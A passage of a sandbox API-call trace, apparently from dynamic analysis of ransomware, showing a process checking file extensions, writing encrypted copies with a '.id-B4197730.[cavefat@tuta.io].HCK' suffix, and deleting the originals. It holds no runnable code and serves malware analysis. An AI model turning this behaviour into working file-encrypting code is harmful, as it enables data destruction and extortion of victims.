returned -1 [0246.153] lstrlenW (lpString=".docx") returned 5 [0246.153] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0246.153] lstrlenW (lpString=".pdf") returned 4 [0246.153] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".xls") returned 4 [0246.153] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".xlsx") returned 5 [0246.153] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0246.153] lstrlenW (lpString=".ppt") returned 4 [0246.153] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".zip") returned 4 [0246.153] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".rar") returned 4 [0246.153] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0246.153] lstrlenW (lpString=".bz2") returned 4 [0246.153] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString=".7z") returned 3 [0246.153] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".dbf") returned 4 [0246.153] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.153] lstrlenW (lpString=".1cd") returned 4 [0246.153] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0246.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0246.154] lstrlenW (lpString=".jpg") returned 4 [0246.154] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0246.154] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0246.154] lstrlenW (lpString="Garden.jpg") returned 10 [0246.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0246.154] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=23871) returned 1 [0246.154] CloseHandle (hObject=0x368) returned 1 [0246.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0246.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0246.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0246.154] lstrlenW (lpString=".doc") returned 4 [0246.154] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0246.154] lstrlenW (lpString=".docx") returned 5 [0246.154] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0246.154] lstrlenW (lpString=".pdf") returned 4 [0246.154] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0246.155] lstrlenW (lpString=".xls") returned 4 [0246.155] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0246.155] lstrlenW (lpString=".xlsx") returned 5 [0246.155] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0246.155] lstrlenW (lpString=".ppt") returned 4 [0246.155] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0246.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0246.155] lstrlenW (lpString=".zip") returned 4 [0246.155] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0246.155] lstrlenW (lpString=".rar") returned 4 [0246.155] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0246.155] lstrlenW (lpString=".bz2") returned 4 [0246.155] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0246.155] lstrlenW (lpString=".7z") returned 3 [0246.155] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0246.160] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.160] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0246.459] GetLastError () returned 0x0 [0246.459] ReadFile (in: hFile=0x368, lpBuffer=0x3881020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3881020*, lpNumberOfBytesRead=0x2d6fecc*=0x375e, lpOverlapped=0x0) returned 1 [0246.462] WriteFile (in: hFile=0x378, lpBuffer=0x3881020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3881020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3760, lpOverlapped=0x0) returned 1 [0246.724] ReadFile (in: hFile=0x368, lpBuffer=0x3881020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3881020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.724] WriteFile (in: hFile=0x378, lpBuffer=0x3881020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3881020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0246.724] SetEndOfFile (hFile=0x378) returned 1 [0246.724] CloseHandle (hObject=0x378) returned 1 [0246.724] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.724] SetEndOfFile (hFile=0x368) returned 1 [0246.725] CloseHandle (hObject=0x368) returned 1 [0246.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0246.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.820] lstrlenW (lpString=".doc") returned 4 [0246.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.820] lstrlenW (lpString=".docx") returned 5 [0246.820] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0246.820] lstrlenW (lpString=".pdf") returned 4 [0246.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.820] lstrlenW (lpString=".xls") returned 4 [0246.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.820] lstrlenW (lpString=".xlsx") returned 5 [0246.820] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0246.820] lstrlenW (lpString=".ppt") returned 4 [0246.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString=".zip") returned 4 [0246.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.821] lstrlenW (lpString=".rar") returned 4 [0246.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString=".bz2") returned 4 [0246.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString=".7z") returned 3 [0246.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString=".dbf") returned 4 [0246.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString=".1cd") returned 4 [0246.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString=".jpg") returned 4 [0246.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.821] lstrlenW (lpString=".doc") returned 4 [0246.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString=".docx") returned 5 [0246.821] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0246.821] lstrlenW (lpString=".pdf") returned 4 [0246.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString=".xls") returned 4 [0246.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.821] lstrlenW (lpString=".xlsx") returned 5 [0246.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0246.821] lstrlenW (lpString=".ppt") returned 4 [0246.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.822] lstrlenW (lpString=".zip") returned 4 [0246.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.822] lstrlenW (lpString=".rar") returned 4 [0246.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".bz2") returned 4 [0246.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".7z") returned 3 [0246.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.822] lstrlenW (lpString=".dbf") returned 4 [0246.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.822] lstrlenW (lpString=".1cd") returned 4 [0246.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0246.822] lstrlenW (lpString=".jpg") returned 4 [0246.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 375 os_tid = 0xee4 [0245.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5fd7f0 [0245.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3990048 [0245.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e540 [0245.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc908 [0245.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e750 [0245.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3a93020 [0245.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7f8 [0245.443] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e7f8, Size=0x20) returned 0x55ebd8 [0245.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.444] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5b8, Size=0x20) returned 0x55eb88 [0245.444] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.444] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.444] Wow64DisableWow64FsRedirection (in: OldValue=0x2eaff50 | out: OldValue=0x2eaff50*=0x0) returned 1 [0245.444] lstrlenW (lpString="kernel32.dll") returned 12 [0245.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.444] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.444] Sleep (dwMilliseconds=0x64) [0245.654] Sleep (dwMilliseconds=0x64) [0245.824] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0245.824] lstrlenW (lpString="Alphabet.xml") returned 12 [0245.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.825] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=791421) returned 1 [0245.825] CloseHandle (hObject=0x348) returned 1 [0245.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0245.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.825] lstrlenW (lpString=".doc") returned 4 [0245.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString=".docx") returned 5 [0245.825] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0245.825] lstrlenW (lpString=".pdf") returned 4 [0245.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString=".xls") returned 4 [0245.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString=".xlsx") returned 5 [0245.825] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0245.825] lstrlenW (lpString=".ppt") returned 4 [0245.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.825] lstrlenW (lpString=".zip") returned 4 [0245.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0245.825] lstrlenW (lpString=".rar") returned 4 [0245.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString=".bz2") returned 4 [0245.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString=".7z") returned 3 [0245.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0245.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.825] lstrlenW (lpString=".dbf") returned 4 [0245.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0245.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.825] lstrlenW (lpString=".1cd") returned 4 [0245.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".jpg") returned 4 [0245.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".doc") returned 4 [0245.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString=".docx") returned 5 [0245.826] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0245.826] lstrlenW (lpString=".pdf") returned 4 [0245.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString=".xls") returned 4 [0245.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString=".xlsx") returned 5 [0245.826] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0245.826] lstrlenW (lpString=".ppt") returned 4 [0245.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".zip") returned 4 [0245.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0245.826] lstrlenW (lpString=".rar") returned 4 [0245.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString=".bz2") returned 4 [0245.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString=".7z") returned 3 [0245.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".dbf") returned 4 [0245.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".1cd") returned 4 [0245.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0245.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0245.826] lstrlenW (lpString=".jpg") returned 4 [0245.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0245.826] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0245.826] lstrlenW (lpString="Content.xml") returned 11 [0245.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.827] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=27045) returned 1 [0245.827] CloseHandle (hObject=0x348) returned 1 [0245.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0245.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.827] lstrlenW (lpString=".doc") returned 4 [0245.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString=".docx") returned 5 [0245.827] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0245.827] lstrlenW (lpString=".pdf") returned 4 [0245.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString=".xls") returned 4 [0245.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString=".xlsx") returned 5 [0245.827] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0245.827] lstrlenW (lpString=".ppt") returned 4 [0245.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.827] lstrlenW (lpString=".zip") returned 4 [0245.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0245.827] lstrlenW (lpString=".rar") returned 4 [0245.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString=".bz2") returned 4 [0245.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString=".7z") returned 3 [0245.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.827] lstrlenW (lpString=".dbf") returned 4 [0245.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.827] lstrlenW (lpString=".1cd") returned 4 [0245.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0245.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".jpg") returned 4 [0245.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".doc") returned 4 [0245.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString=".docx") returned 5 [0245.828] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0245.828] lstrlenW (lpString=".pdf") returned 4 [0245.828] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString=".xls") returned 4 [0245.828] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString=".xlsx") returned 5 [0245.828] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0245.828] lstrlenW (lpString=".ppt") returned 4 [0245.828] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".zip") returned 4 [0245.828] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0245.828] lstrlenW (lpString=".rar") returned 4 [0245.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString=".bz2") returned 4 [0245.828] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString=".7z") returned 3 [0245.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".dbf") returned 4 [0245.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".1cd") returned 4 [0245.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0245.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0245.828] lstrlenW (lpString=".jpg") returned 4 [0245.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0245.828] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.828] lstrlenW (lpString="boxed-correct.avi") returned 17 [0245.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0245.829] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=111320) returned 1 [0245.829] CloseHandle (hObject=0x348) returned 1 [0245.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0245.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0245.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 